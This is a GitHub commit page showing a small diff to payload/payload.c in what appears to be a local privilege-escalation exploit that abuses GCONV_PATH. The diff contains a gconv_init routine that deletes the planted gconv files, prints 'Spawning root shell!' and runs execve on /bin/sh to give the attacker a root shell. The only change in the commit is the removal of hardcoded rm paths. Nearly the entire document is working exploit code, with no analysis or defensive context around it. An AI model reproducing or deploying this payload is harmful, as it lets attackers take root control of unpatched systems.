Skip to content

Commit

Permalink
remove hardcoded rm path
Browse files Browse the repository at this point in the history
  • Loading branch information
dzonerzy authored Jan 26, 2022
1 parent 1b8b9ce commit be71f78
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions payload/payload.c
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,9 @@ void gconv_init() {
setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);
char* argv[] = { "/bin/sh", NULL };
char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
system("/usr/bin/rm -r gconv");
system("/usr/bin/rm -r \"GCONV_PATH=.\"");
system("rm -r gconv");
system("rm -r \"GCONV_PATH=.\"");
fprintf(stdout, "Spawning root shell!\n");
if (execve("/bin/sh", argv, envp) == -1)
perror("Could not execve :( ");
}
}

0 comments on commit be71f78

Please sign in to comment.